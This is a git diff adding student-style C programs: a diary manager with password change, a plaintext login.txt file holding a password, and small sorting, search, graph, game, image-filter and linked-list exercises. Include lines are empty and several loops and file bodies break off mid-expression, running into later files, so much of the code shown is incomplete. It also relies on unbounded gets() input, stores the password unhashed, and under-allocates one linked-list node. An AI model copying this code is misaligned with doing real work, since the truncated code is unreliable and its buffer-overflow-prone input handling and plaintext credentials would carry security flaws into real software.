}while(choice=='Y'||choice=='y'); + + fclose (fp); + return ; +} + +void editMeet(){ + system("cls"); + FILE *fp ; + struct database e ; + char time[6],choice,filename[14]; + int num,count=0; + + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tWelcome To Editing Menu\n"); + printf("************************************************************************************\033[m\n"); + + do + { + printf("\n\n\t\t\033[0;35mENTER THE RECORD TO BE EDITED:[yyyy:mm:dd]: \033[0m"); + fflush(stdin); + gets(filename); + + printf("\n\t\t\033[0;35mENTER TIME:[hh:mm]: \033[0m"); + gets(time); + + fp = fopen ( filename, "rb+" ); + + if ( fp == NULL ) + { + printf("\n\t\t\t\t\033[0;31mRECORD DOES NOT EXISTS: "); + printf("\n\t\t\t\tPRESS ANY KEY TO GO BACK\033[0m"); + getch(); + return; + } + + while ( fread ( &e, sizeof ( e ), 1, fp ) == 1 ) + { + if(strcmp(e.time,time)==0) + { + printf("\033[0;36m\n\t\t\t\tYOUR OLD RECORD WAS AS:"); + printf("\n\t\t\t\tTIME: %s",e.time); + printf("\n\t\t\t\tMEETING WITH: %s",e.name); + printf("\n\t\t\t\tMEETING AT: %s",e.place); + printf("\n\t\t\t\tDURATION: %s",e.duration); + printf("\n\t\t\t\tNOTE: %s",e.note); + + printf("\033[0m\n\n\t\t\t\t\033[0;35mWHAT WOULD YOU LIKE TO EDIT.."); + printf("\n\t\t\t\t[1] TIME."); + printf("\n\t\t\t\t[2] MEETING PERSON."); + printf("\n\t\t\t\t[3] MEETING PLACE."); + printf("\n\t\t\t\t[4] DURATION."); + printf("\n\t\t\t\t[5] NOTE."); + printf("\n\t\t\t\t[6] WHOLE RECORD."); + printf("\n\t\t\t\t[7] GO BACK TO MAIN MENU."); + do + { + printf("\n\n\t\t\t\tENTER YOUR CHOICE: \033[0m"); + fflush(stdin); + scanf("%d",&num); + fflush(stdin); + + switch(num) + { + case 1: + printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m"); + printf("\n\t\t\t\t\033[0;35mNEW TIME:[hh:mm]: \033[0m"); + gets(e.time); + break; + + case 2: + printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m"); + printf("\n\t\t\t\t\033[0;35mNEW MEETING PERSON: \033[0m"); + gets(e.name); + break; + + case 3: + printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m"); + printf("\n\t\t\t\t\033[0;35mNEW MEETING PLACE: \033[0m"); + gets(e.place); + break; + + case 4: + printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m"); + printf("\n\t\t\t\t\033[0;35mDURATION: \033[0m"); + gets(e.duration); + break; + + case 5: + printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m"); + printf("\n\t\t\t\t\033[0;35mNOTE: \033[0m"); + gets(e.note); + break; + + case 6: + printf("\n\t\t\t\t\033[0;35mENTER THE NEW DATA: \033[0m"); + printf("\n\t\t\t\t\033[0;35mNEW TIME:[hh:mm]: \033[0m"); + gets(e.time); + printf("\n\t\t\t\t\033[0;35mNEW MEETING PERSON: \033[0m"); + gets(e.name); + printf("\n\t\t\t\t\033[0;35mNEW MEETING PLACE: \033[0m"); + gets(e.place); + printf("\n\t\t\t\t\033[0;35mDURATION: \033[0m"); + gets(e.duration); + printf("\n\t\t\t\t\033[0;35mNOTE: \033[0m"); + gets(e.note); + break; + + case 7: + printf("\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO GO BACK...\033[0m\n"); + getch(); + return ; + break; + + default: + printf("\n\n\t\t\t\t\033[0;31mYOU TYPED SOMETHING ELSE...TRY AGAIN\033[0m\n"); + break; + } + } + while(num<1||num>8); + fseek(fp,-sizeof(e),SEEK_CUR); + fwrite(&e,sizeof(e),1,fp); + fseek(fp,-sizeof(e),SEEK_CUR); + fread(&e,sizeof(e),1,fp); + choice=5; + break; + } + } + + if(choice==5) + { + system("cls"); + printf("\n\t\t\t\t\033[0;32mEDITING COMPLETED...\n\n\n\033[0m"); + printf("\033[0;36m-------------------------------------------------------------------------------------\n"); + printf("\t\t\t\tTHE NEW RECORD IS:\n"); + printf("-------------------------------------------------------------------------------------\n"); + printf("\n\t\t\t\tTIME: %s",e.time); + printf("\n\t\t\t\tMEETING WITH: %s",e.name); + printf("\n\t\t\t\tMEETING AT: %s",e.place); + printf("\n\t\t\t\tDURATION: %s",e.duration); + printf("\n\t\t\t\tNOTE: %s",e.note); + fclose(fp); + printf("\033[0m\n\n\t\t\t\t\033[0m\033[0;35mWOULD YOU LIKE TO EDIT ANOTHER RECORD.(Y/N)\033[0m"); + scanf("%c",&choice); + count++; + } + else + { + printf("\n\t\t\t\t\033[0;31mTHE RECORD DOES NOT EXIST::\n"); + printf("\n\t\t\t\tWOULD YOU LIKE TO TRY AGAIN...(Y/N)\033[0m"); + scanf("%c",&choice); + } + } + while(choice=='Y'||choice=='y'); + + fclose ( fp ) ; + + if(count==1) + printf("\n\t\t\t\t\033[0;32m%d FILE IS EDITED...\n\n\n",count); + else if(count>1) + printf("\n\t\t\t\t%d FILES ARE EDITED..\n\n\n",count); + else + printf("\n\t\t\t\tNO FILES EDITED...\n\n\n"); + + printf("\t\t\t\t\033[0m\033[0;33mPRESS ANY KEY TO EXIT...\033[0m"); + getch(); +} + +void changePassword(){ + system("cls"); + char ch, username[20], confirm[20]={0}, pass[15]={0}; + FILE *fp; + int i,choice=0; + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tCHANGE PASSWORD\n"); + printf("************************************************************************************\033[m\n"); + printf("\n\n\t\033[0;31mPLEASE NOTE YOU HAVE TO ENTER PREVIOUS PASSWORD TO ADD NEW PASSWORD\n\t ENTER YOUR PASSWORD CAREFULLY. YOU HAVE ONLY THREE CHANCES.\033[0m\n"); + printf("\n\n\t\t\t\033[0;33mPress Any Key To Continue...\n\033[0m"); + getch(); + + int access=login(); + system("cls"); + if(access){ + do{ + printf("\033[0;34m************************************************************************************\n"); + printf("\t\t\t\tCHANGE PASSWORD\n"); + printf("************************************************************************************\033[m\n"); + fp = fopen("login.txt","w"); //OPENS IN WRITE MODE AND CLEARS ALL PRESENT DATA + if(fp==NULL){ + printf("\n\033[0;31mError with the login file...[MISSING]\033[0m\n"); + getch(); + return; + } + else{ + i=0; + printf("\t\t\033[0;35mENTER THE NEW PASSWORD : \033[0m"); + do{ + pass[i]=getch(); + if(pass[i]!='\r') + printf("*"); + i++; + }while(pass[i-1]!='\r'); + pass[i-1]='\0'; + + i=0; + printf("\n\n\t\t\033[0;35mENTER THE CONFIRM PASSWORD : \033[0m"); + do{ + confirm[i]=getch(); + if(confirm[i]!='\r') + printf("*"); + i++; + }while(confirm[i-1]!='\r'); + confirm[i-1]='\0'; + + if(strcmp(pass,confirm)==0){ + i=0; + while(pass[i]!='\0'){ + ch=pass[i]; + putc(ch,fp); //INSERTS INTO THE FILE + i++; + } + + putc(EOF,fp); + + fclose(fp); + choice=0; + } + else{ + printf("\n\n\t\t\033[0;31mTHE NEW PASSWORD DOES NOT MATCH\033[0m\n\n"); + printf("\t\tPress Any Key...\n"); + getch(); + choice=1; + system("cls"); + } + } + }while(choice); + printf("\n\n\t\t\t\t\033[0;32mPASSWORD CHANGED SUCCESSFULLY...\033[0m\n\n\t\t\t\t\033[0;33mPRESS ANY KEY TO GO BACK...\033[0m\n\n\n"); + getch(); + } +} diff --git a/C/Diary Management/login.txt b/C/Diary Management/login.txt new file mode 100644 index 000000000..72c2c97c3 --- /dev/null +++ b/C/Diary Management/login.txt @@ -0,0 +1 @@ +abcdeÿ \ No newline at end of file diff --git a/C/Fibonacci Triangle.c b/C/Fibonacci Triangle.c new file mode 100644 index 000000000..2c02f41ea --- /dev/null +++ b/C/Fibonacci Triangle.c @@ -0,0 +1,24 @@ +#include +#include +int main(){ + int a=0,b=1,i,c,n,j; +system("cls"); + printf("Enter the limit:"); + scanf("%d",&n); + for(i=1;i<=n;i++) + { + a=0; + b=1; + printf("%d\t",b); + for(j=1;j +#include + +#define MAX_DEGREE 5 +#define MAX_NUM_VERTICES 20 + +struct vertices_s { + int visited; + int deg; + int adj[MAX_DEGREE]; /* < 0 if incoming edge */ +} vertices[] = { + {0, 3, {2, -3, 4}}, + {0, 2, {-1, 3}}, + {0, 3, {1, -2, 7}}, + {0, 3, {-1, -5, 6}}, + {0, 2, {4, -7}}, + {0, 3, {-4, 7, -8}}, + {0, 4, {-3, 5, -6, -12}}, + {0, 3, {6, -9, 11}}, + {0, 2, {8, -10}}, + {0, 3, {9, -11, -12}}, + {0, 3, {-8, 10, 12}}, + {0, 3, {7, 10, -11}} +}; +int num_vertices = sizeof(vertices) / sizeof(vertices[0]); + +struct stack_s { + int top; + int items[MAX_NUM_VERTICES]; +} stack = {-1, {}}; + +void stack_push(int v) { + stack.top++; + if (stack.top < MAX_NUM_VERTICES) + stack.items[stack.top] = v; + else { + printf("Stack is full!\n"); + exit(1); + } +} + +int stack_pop() { + return stack.top < 0 ? -1 : stack.items[stack.top--]; +} + +void dfs(int v, int transpose) { + int i, c, n; + vertices[v].visited = 1; + for (i = 0, c = vertices[v].deg; i < c; ++i) { + n = vertices[v].adj[i] * transpose; + if (n > 0) + /* n - 1 because vertex indexing begins at 0 */ + if (!vertices[n - 1].visited) + dfs(n - 1, transpose); + } + if (transpose < 0) + stack_push(v); + else + printf("%d ", v + 1); +} + +void reset_visited() { + int i; + for (i = 0; i < num_vertices; ++i) + vertices[i].visited = 0; +} + +void order_pass() { + int i; + for (i = 0; i < num_vertices; ++i) + if (!vertices[i].visited) + dfs(i, -1); +} + +void scc_pass() { + int i = 0, v; + while((v = stack_pop()) != -1) { + if (!vertices[v].visited) { + printf("scc %d: ", ++i); + dfs(v, 1); + printf("\n"); + } + } +} + +int main(void) { + order_pass(); + reset_visited(); + scc_pass(); + return 0; +} \ No newline at end of file diff --git a/C/LibManagement b/C/LibManagement new file mode 100644 index 000000000..720fe110c --- /dev/null +++ b/C/LibManagement @@ -0,0 +1,76 @@ +#include +#include +#include + +struct library +{ + char bk_name[30]; + char author[30]; + int pages; + float price; +}; +int main() +{ + struct library l[100]; + char ar_nm[30],bk_nm[30]; + int i,j, keepcount; + i=j=keepcount = 0; + while(j!=6) + { + printf("\n\n1. Add book information\n2. Display book information\n"); + printf("3. List all books of given author\n"); + printf("4. List the title of specified book\n"); + printf("5. List the count of books in the library\n"); + printf("6. Exit"); + printf ("\n\nEnter one of the above : "); + scanf("%d",&j); + switch (j) + { + case 1: + printf ("Enter book name = "); + scanf ("%s",l[i].bk_name); + printf ("Enter author name = "); + scanf ("%s",l[i].author); + printf ("Enter pages = "); + scanf ("%d",&l[i].pages); + printf ("Enter price = "); + scanf ("%f",&l[i].price); + keepcount++; + break; + case 2: + printf("you have entered the following information\n"); + for(i=0; i +#include +void main() +{ +clrscr(); +int i,n,a[100],search; +printf("Enter number of elements : "); +scanf("%d",&n); +printf("\nEnter %d elements : \n",n); +for(i=0;i + +int search(int arr[], int n, int x) +{ + int i; + for (i = 0; i < n; i++) + if (arr[i] == x) + return i; + return -1; +} + +int main(void) +{ + int arr[] = { 2, 36, 4, 15, 40 }; + int x = 4; + int n = sizeof(arr) / sizeof(arr[0]); + + // Function call + int result = search(arr, n, x); + (result == -1) + ? printf("Element is not present in array") + : printf("Element is present at index %d", result); + return 0; +} diff --git a/C/LruPageReplacement.c b/C/LruPageReplacement.c new file mode 100644 index 000000000..6e252510d --- /dev/null +++ b/C/LruPageReplacement.c @@ -0,0 +1,86 @@ +#include +int n,nf,in[100],p[50]; +int hit=0,i,j,k; +int pgfaultcnt=0; + +void getData(){ + printf("\nEnter length of page reference sequence:"); + scanf("%d",&n); + printf("\nEnter the page reference sequence:"); + for(i=0; i=0; k--){ + if(pg==in[k]){ + least[j]=k; + found=1; + break; + } + else + found=0; + } + if(!found) + least[j]=-9999; + } + int min=9999; + int repindex; + for(j=0; j +#include + +bool isPalindrome(int a) +{ + int backup = a,rev = 0; + + while(a) + { + rev = (rev*10) + (a%10); + a/=10; + } + + return rev == backup; +} + +int main() +{ + int n = 122; + + if(isPalindrome(n)) + printf("%d is a Palindrome Number",n); + else + printf("%d is not a Palindrome Number",n); + + return 0; + +} diff --git a/C/Snake_game.c b/C/Snake_game.c new file mode 100644 index 000000000..5998caaae --- /dev/null +++ b/C/Snake_game.c @@ -0,0 +1,184 @@ +#include +#include +#include +#include +#include +#include + +check(); +end(); +win(); +int m[500],n[500],con=20; +clock_t start,stop; + void main(void) +{ + +int gd=DETECT,gm,ch,maxx,maxy,x=13,y=14,p,q,spd=100; + +initgraph(&gd,&gm,"..\bgi"); + +setcolor(WHITE); +settextstyle(3,0,6); +outtextxy(200,2," SNAKE 2 "); +settextstyle(6,0,2); +outtextxy(20,80," Use Arrow Keys To Direct The Snake "); +outtextxy(20,140," Avoid The Head Of Snake Not To Hit Any Part Of Snake +"); +outtextxy(20,160," Pick The Beats Untill You Win The Game "); +outtextxy(20,200," Press 'Esc' Anytime To Exit "); +outtextxy(20,220," Press Any Key To Continue "); +ch=getch(); +if(ch==27) exit(0); +cleardevice(); +maxx=getmaxx(); +maxy=getmaxy(); + +randomize(); + +p=random(maxx); +int temp=p%13; +p=p-temp; +q=random(maxy); +temp=q%14; +q=q-temp; + + + + start=clock(); +int a=0,i=0,j,t; +while(1) +{ + + setcolor(WHITE); + setfillstyle(SOLID_FILL,con+5); + circle(p,q,5); + floodfill(p,q,WHITE); + + if( kbhit() ) + { + ch=getch(); if(ch==0) ch=getch(); + if(ch==72&& a!=2) a=1; + if(ch==80&& a!=1) a=2; + if(ch==75&& a!=4) a=3; + if(ch==77&& a!=3) a=4; + } + else + { + if(ch==27 + ) break; + } + + if(i<20){ + m[i]=x; + n[i]=y; + i++; + } + + if(i>=20) + + { + for(j=con;j>=0;j--){ + m[1+j]=m[j]; + n[1+j]=n[j]; + } + m[0]=x; + n[0]=y; + + setcolor(WHITE); + setfillstyle(SOLID_FILL,con); + circle(m[0],n[0],8); + floodfill(m[0],n[0],WHITE); + + setcolor(WHITE); + for(j=1;j=5) spd=spd-5; else spd=5; + if(con>490) win(); + p=random(maxx); temp=p%13; p=p-temp; + q=random(maxy); temp=q%14; q=q-temp; + } + if(a==1) y = y-14; if(y<0) { temp=maxy%14;y=maxy-temp;} + if(a==2) y = y+14; if(y>maxy) y=0; + if(a==3) x = x-13; if(x<0) { temp=maxx%13;x=maxx-temp;} + if(a==4) x = x+13; if(x>maxx) x=0; + if(a==0){ y = y+14 ; x=x+13; } + } + + } + + +check(){ + int a; + for(a=1;a + + int main(){ + int a; + int i=0; + int c=0; + printf("enter the value of no till which required to be added\n"); + scanf("%d",&a); + while (i<(a+1)){ + c=(c+i); + i++; + } + printf("result is %d",c); + return 0; + } + diff --git a/C/bubble_sort.c b/C/bubble_sort.c new file mode 100644 index 000000000..2e0464604 --- /dev/null +++ b/C/bubble_sort.c @@ -0,0 +1,24 @@ +#include +int main() +{ + int n, temp, i, j; + printf ("Enter No of elements in the array \n"); + scanf("%d",&n); + int number[n]; + printf ("Enter the elements of array \n"); + for(int i=0;i=0;i--){ + for(j=0;j<=i;j++){ + if(number[j]>number[j+1]){ + temp=number[j]; + number[j]=number[j+1]; + number[j+1]=temp; + } + } + } + printf("Sorted elements: "); + for(i=0;i +#include +int change(int n); +int main() +{ + int n; + printf("Enter a number in decimal : "); + scanf("%d",&n); + int m = change(n); + printf ("The number %d in binary is %d",n,m); +} +int change(int n) +{ + int dec=0,i=1,rem; + while(n!=0) + { + rem = n % 2; + n /= 2; + dec += rem * i; + i *= 10; + } + return dec; +} \ No newline at end of file diff --git a/C/factorial.c b/C/factorial.c new file mode 100644 index 000000000..00b2dd76f --- /dev/null +++ b/C/factorial.c @@ -0,0 +1,13 @@ +#include +int main() +{ + int i,fact=1,number; + printf("Enter a number: "); + scanf("%d",&number); + for(i=1;i<=number;i++) + { + fact=fact*i; + } + printf("Factorial of %d is: %d",number,fact); +return 0; +} \ No newline at end of file diff --git a/C/filter/filter.c b/C/filter/filter.c new file mode 100644 index 000000000..e0e796e14 --- /dev/null +++ b/C/filter/filter.c @@ -0,0 +1,153 @@ +#include +#include +#include + +#include "helpers.h" + +int main(int argc, char *argv[]) +{ + + // Define allowable filters + char *filters = "bgrs"; + + // Get filter flag and check validity + char filter = getopt(argc, argv, filters); + if (filter == '?') + { + fprintf(stderr, "Invalid filter.\n"); + return 1; + } + + // Ensure only one filter + if (getopt(argc, argv, filters) != -1) + { + fprintf(stderr, "Only one filter allowed.\n"); + return 2; + } + + // Ensure proper usage + if (argc != optind + 2) + { + fprintf(stderr, "Usage: filter [flag] infile outfile\n"); + return 3; + } + + // Remember filenames + char *infile = argv[optind]; + char *outfile = argv[optind + 1]; + + // Open input file + FILE *inptr = fopen(infile, "r"); + if (inptr == NULL) + { + fprintf(stderr, "Could not open %s.\n", infile); + return 4; + } + + // Open output file + FILE *outptr = fopen(outfile, "w"); + if (outptr == NULL) + { + fclose(inptr); + fprintf(stderr, "Could not create %s.\n", outfile); + return 5; + } + + // Read infile's BITMAPFILEHEADER + BITMAPFILEHEADER bf; + fread(&bf, sizeof(BITMAPFILEHEADER), 1, inptr); + + // Read infile's BITMAPINFOHEADER + BITMAPINFOHEADER bi; + fread(&bi, sizeof(BITMAPINFOHEADER), 1, inptr); + + // Ensure infile is (likely) a 24-bit uncompressed BMP 4.0 + if (bf.bfType != 0x4d42 || bf.bfOffBits != 54 || bi.biSize != 40 || + bi.biBitCount != 24 || bi.biCompression != 0) + { + fclose(outptr); + fclose(inptr); + fprintf(stderr, "Unsupported file format.\n"); + return 6; + } + + int height = abs(bi.biHeight); + int width = bi.biWidth; + + // Allocate memory for image + RGBTRIPLE(*image)[width] = calloc(height, width * sizeof(RGBTRIPLE)); + if (image == NULL) + { + fprintf(stderr, "Not enough memory to store image.\n"); + fclose(outptr); + fclose(inptr); + return 7; + } + + // Determine padding for scanlines + int padding = (4 - (width * sizeof(RGBTRIPLE)) % 4) % 4; + + // Iterate over infile's scanlines + for (int i = 0; i < height; i++) + { + // Read row into pixel array + fread(image[i], sizeof(RGBTRIPLE), width, inptr); + + // Skip over padding + fseek(inptr, padding, SEEK_CUR); + } + + // Filter image + switch (filter) + { + // Blur + case 'b': + blur(height, width, image); + break; + + // Grayscale + case 'g': + grayscale(height, width, image); + break; + + // Reflection + case 'r': + reflect(height, width, image); + break; + + // Sepia + case 's': + sepia(height, width, image); + break; + } + + // Write outfile's BITMAPFILEHEADER + fwrite(&bf, sizeof(BITMAPFILEHEADER), 1, outptr); + + // Write outfile's BITMAPINFOHEADER + fwrite(&bi, sizeof(BITMAPINFOHEADER), 1, outptr); + + // Write new pixels to outfile + for (int i = 0; i < height; i++) + { + // Write row to outfile + fwrite(image[i], sizeof(RGBTRIPLE), width, outptr); + + // Write padding at end of row + for (int k = 0; k < padding; k++) + { + fputc(0x00, outptr); + } + } + + // Free memory for image + free(image); + + // Close infile + fclose(inptr); + + // Close outfile + fclose(outptr); + + return 0; +} diff --git a/C/filter/helpers.c b/C/filter/helpers.c new file mode 100644 index 000000000..c857c8780 --- /dev/null +++ b/C/filter/helpers.c @@ -0,0 +1,192 @@ +#include "helpers.h" +#include + +// Convert image to grayscale +void grayscale(int height, int width, RGBTRIPLE image[height][width]) +{ + for (int i = 0; i < height; i++) + { + for (int j = 0; j < width; j++) + { + // calculating average of RGB for a pixel + int a = round((image[i][j].rgbtBlue + image[i][j].rgbtGreen + image[i][j].rgbtRed) / 3.0); + image[i][j].rgbtBlue = a; + image[i][j].rgbtGreen = a; + image[i][j].rgbtRed = a; + } + } + return; +} + +// Convert image to sepia +void sepia(int height, int width, RGBTRIPLE image[height][width]) +{ + for (int i = 0; i < height; i++) + { + for (int j = 0; j < width; j++) + { + int a, b, c; + a = round(0.272 * image[i][j].rgbtRed + 0.534 * image[i][j].rgbtGreen + 0.131 * image[i][j].rgbtBlue); + b = round(0.349 * image[i][j].rgbtRed + 0.686 * image[i][j].rgbtGreen + 0.168 * image[i][j].rgbtBlue); + c = round(0.393 * image[i][j].rgbtRed + 0.769 * image[i][j].rgbtGreen + 0.189 * image[i][j].rgbtBlue); + // if statements have been used to prevent integer overflow + if (a > 255) + { + image[i][j].rgbtBlue = 255; + } + else + { + image[i][j].rgbtBlue = a; + } + if (b > 255) + { + image[i][j].rgbtGreen = 255; + } + else + { + image[i][j].rgbtGreen = b; + } + if (c > 255) + { + image[i][j].rgbtRed = 255; + } + else + { + image[i][j].rgbtRed = c; + } + } + } + return; +} + +// Reflect image horizontally +void reflect(int height, int width, RGBTRIPLE image[height][width]) +{ + RGBTRIPLE temp; + // replacing pixels on RHS to LHS and vice versa + for (int i = 0; i < height; i++) + { + for (int j = 0; j < width / 2; j++) + { + temp = image[i][j]; + image[i][j] = image[i][width - 1 - j]; + image[i][width - 1 - j] = temp; + } + } + return; +} + +// Blur image +void blur(int height, int width, RGBTRIPLE image[height][width]) +{ + // declaring and initialising temporarary variables to 0 to store pixels' new data + unsigned long long int sum1[height][width], sum2[height][width], sum3[height][width]; + for (int i = 0; i < height; i++) + { + for (int j = 0; j < width; j++) + { + sum1[i][j] = 0; + sum2[i][j] = 0; + sum3[i][j] = 0; + } + } + + // for those pixels which are surrounded by 8 pixels + for (int i = 1; i < height - 1; i++) + { + for (int j = 1; j < width - 1; j++) + { + for (int k = i - 1; k < i + 2; k++) + { + for (int l = j - 1; l < j + 2; l++) + { + { + sum1[i][j] += image[k][l].rgbtRed; + sum2[i][j] += image[k][l].rgbtGreen; + sum3[i][j] += image[k][l].rgbtBlue; + } + } + } + sum1[i][j] = round(sum1[i][j] / 9.0); + sum2[i][j] = round(sum2[i][j] / 9.0); + sum3[i][j] = round(sum3[i][j] / 9.0); + } + } + + // for pixels on corners + + // don't attempt to understand following module.you can't. It's a mess which took hell a lot of time to write + int array1[4][4] = {{0, 1, 1, 0}, {0, 1, 1, 0}, {height - 1, height - 2, height - 2, height - 1}, {height - 1, height - 2, height - 2, height - 1}}; + int array2[4][4] = {{1, 0, 1, 0}, {width - 2, width - 1, width - 2, width - 1}, {width - 2, width - 1, width - 2, width - 1}, {1, 0, 1, 0}}; + for (int i = 0; i < 4; i++) + { + for (int j = 0; j < 4; j++) + { + sum1[array1[i][0]][array2[i][1]] += image[array1[i][j]][array2[i][j]].rgbtRed; + sum2[array1[i][0]][array2[i][1]] += image[array1[i][j]][array2[i][j]].rgbtGreen; + sum3[array1[i][0]][array2[i][1]] += image[array1[i][j]][array2[i][j]].rgbtBlue; + } + sum1[array1[i][0]][array2[i][1]] = round((sum1[array1[i][0]][array2[i][1]]) / 4.0); + sum2[array1[i][0]][array2[i][1]] = round((sum2[array1[i][0]][array2[i][1]]) / 4.0); + sum3[array1[i][0]][array2[i][1]] = round((sum3[array1[i][0]][array2[i][1]]) / 4.0); + } + // for pixels on the edges + + //(for edges on vertical sides) + for (int i = 1; i < height - 1; i++) + { + for (int j = 0; j < 2; j++) + { + sum1[i][0] += image[i][j].rgbtRed + image[i - 1][j].rgbtRed + image[i + 1][j].rgbtRed; + sum2[i][0] += image[i][j].rgbtGreen + image[i - 1][j].rgbtGreen + image[i + 1][j].rgbtGreen; + sum3[i][0] += image[i][j].rgbtBlue + image[i - 1][j].rgbtBlue + image[i + 1][j].rgbtBlue; + } + sum1[i][0] = round((sum1[i][0]) / 6.0); + sum2[i][0] = round((sum2[i][0]) / 6.0); + sum3[i][0] = round((sum3[i][0]) / 6.0); + for (int j = width - 2; j < width; j++) + { + sum1[i][height - 1] += image[i][j].rgbtRed + image[i - 1][j].rgbtRed + image[i + 1][j].rgbtRed; + sum2[i][height - 1] += image[i][j].rgbtGreen + image[i - 1][j].rgbtGreen + image[i + 1][j].rgbtGreen; + sum3[i][height - 1] += image[i][j].rgbtBlue + image[i - 1][j].rgbtBlue + image[i + 1][j].rgbtBlue; + } + sum1[i][height - 1] = round(sum1[i][height - 1] / 6.0); + sum2[i][height - 1] = round(sum2[i][height - 1] / 6.0); + sum3[i][height - 1] = round(sum3[i][height - 1] / 6.0); + } + + //(for edges on horizontal sides) + for (int j = 1; j < width - 1; j++) + { + for (int i = 0; i < 2; i++) + { + sum1[0][j] += image[i][j - 1].rgbtRed + image[i][j].rgbtRed + image[i][j + 1].rgbtRed; + sum2[0][j] += image[i][j - 1].rgbtGreen + image[i][j].rgbtGreen + image[i][j + 1].rgbtGreen; + sum3[0][j] += image[i][j - 1].rgbtBlue + image[i][j].rgbtBlue + image[i][j + 1].rgbtBlue; + } + sum1[0][j] = round(sum1[0][j] / 6.0); + sum2[0][j] = round(sum2[0][j] / 6.0); + sum3[0][j] = round(sum3[0][j] / 6.0); + for (int i = height - 2; i < height; i++) + { + sum1[height - 1][j] += image[i][j - 1].rgbtRed + image[i][j].rgbtRed + image[i][j + 1].rgbtRed; + sum2[height - 1][j] += image[i][j - 1].rgbtGreen + image[i][j].rgbtGreen + image[i][j + 1].rgbtGreen; + sum3[height - 1][j] += image[i][j - 1].rgbtBlue + image[i][j].rgbtBlue + image[i][j + 1].rgbtBlue; + } + sum1[height - 1][j] = round(sum1[height - 1][j] / 6.0); + sum2[height - 1][j] = round(sum2[height - 1][j] / 6.0); + sum3[height - 1][j] = round(sum3[height - 1][j] / 6.0); + } + + // copying pixels' new data from temporary variables to images[i][j] + for (int i = 0; i < height; i++) + { + for (int j = 0; j < width; j++) + { + image[i][j].rgbtRed = sum1[i][j]; + image[i][j].rgbtGreen = sum2[i][j]; + image[i][j].rgbtBlue = sum3[i][j]; + } + } + return; +} diff --git a/C/filter/helpers.h b/C/filter/helpers.h new file mode 100644 index 000000000..412da8cfc --- /dev/null +++ b/C/filter/helpers.h @@ -0,0 +1,13 @@ +#include "bmp.h" + +// Convert image to grayscale +void grayscale(int height, int width, RGBTRIPLE image[height][width]); + +// Convert image to sepia +void sepia(int height, int width, RGBTRIPLE image[height][width]); + +// Reflect image horizontally +void reflect(int height, int width, RGBTRIPLE image[height][width]); + +// Blur image +void blur(int height, int width, RGBTRIPLE image[height][width]); diff --git a/C/filter/makefile.txt b/C/filter/makefile.txt new file mode 100644 index 000000000..73a0f660d --- /dev/null +++ b/C/filter/makefile.txt @@ -0,0 +1,2 @@ +filter: + clang -ggdb3 -O0 -Qunused-arguments -std=c11 -Wall -Werror -Wextra -Wno-sign-compare -Wno-unused-parameter -Wno-unused-variable -Wshadow -lm -o filter filter.c helpers.c diff --git a/C/infix_to_prefix.c b/C/infix_to_prefix.c new file mode 100644 index 000000000..c83f38c05 --- /dev/null +++ b/C/infix_to_prefix.c @@ -0,0 +1,117 @@ + /* infix to prefix conversion*/ + +#include +#include +#define MAX 20 +char stack[MAX]; +int top=-1; +void push(char item) +{ + top++; + stack[top]=item; +} +char pop() +{ + char a; + a=stack[top]; + top--; + return a; +} +int prcd(char symbol) +{ + switch(symbol) + { + case '+': + case '-': return 2; + case '*': + case '/': return 4; + case '^': + case '$': return 6; + case '(': + case ')': + case '#': return 1; + } + return 0; +} +int isoperator(char symbol) +{ + switch(symbol) + { + case '+': + case '-': + case '*': + case '/': + case '^': + case '$': + case '(': + case ')': return 1; + default: return 0; + } +} +void infix_to_prefix(char infix[], char prefix[]) +{ + int i,symbol,j=0; + char test[MAX]; + infix=strrev(infix); + stack[++top]='#'; + for(i=0;i=prcd(stack[top]))) + { + push(symbol); + } + else + { + while(prcd(symbol) + +int main() +{ + int arr[50]; + int n, number, ind = -1; + printf("Enter the number of elements : "); + scanf("%d", &n); + printf("Enter Array Elements : "); + for (int i = 0; i < n; i++) + { + scanf("%d", &arr[i]); + } + printf("\nEnter the Number to be searched : "); + scanf("%d", &number); + for (int i = 0; i < n; i++) + { + if (number == arr[i]) + { + ind = i; + break; + } + } + if (ind != -1) + { + printf("\nElement %d found at %d position", number, ind + 1); + } + else + { + printf("Element not found :)\n"); + } + return 0; +} \ No newline at end of file diff --git a/C/linked_list.c b/C/linked_list.c new file mode 100644 index 000000000..a395deebb --- /dev/null +++ b/C/linked_list.c @@ -0,0 +1,263 @@ +// Singly LinkedList with all operaions in C language + +#include +#include +struct node +{ + int data; + struct node *next; +}; +struct node *head; + +void beginsert(); +void lastinsert(); +void randominsert(); +void begin_delete(); +void last_delete(); +void random_delete(); +void display(); +void search(); +void main() +{ + int choice = 0; + while (choice != 9) + { + printf("\n\n*********Main Menu*********\n"); + printf("\nChoose one option from the following list ...\n"); + printf("\n===============================================\n"); + printf("\n1.Insert in begining\n2.Insert at last\n3.Insert at any random location\n4.Delete from Beginning\n5.Delete from last\n6.Delete node after specified location\n7.Search for an element\n8.Show\n9.Exit\n"); + printf("\nEnter your choice?\n"); + scanf("\n%d", &choice); + switch (choice) + { + case 1: + beginsert(); + break; + case 2: + lastinsert(); + break; + case 3: + randominsert(); + break; + case 4: + begin_delete(); + break; + case 5: + last_delete(); + break; + case 6: + random_delete(); + break; + case 7: + search(); + break; + case 8: + display(); + break; + case 9: + exit(0); + break; + default: + printf("Please enter valid choice.."); + } + } +} +void beginsert() +{ + struct node *ptr; + int item; + ptr = (struct node *)malloc(sizeof(struct node *)); + if (ptr == NULL) + { + printf("\nOVERFLOW"); + } + else + { + printf("\nEnter value\n"); + scanf("%d", &item); + ptr->data = item; + ptr->next = head; + head = ptr; + printf("\nNode inserted"); + } +} +void lastinsert() +{ + struct node *ptr, *temp; + int item; + ptr = (struct node *)malloc(sizeof(struct node)); + if (ptr == NULL) + { + printf("\nOVERFLOW"); + } + else + { + printf("\nEnter value?\n"); + scanf("%d", &item); + ptr->data = item; + if (head == NULL) + { + ptr->next = NULL; + head = ptr; + printf("\nNode inserted"); + } + else + { + temp = head; + while (temp->next != NULL) + { + temp = temp->next; + } + temp->next = ptr; + ptr->next = NULL; + printf("\nNode 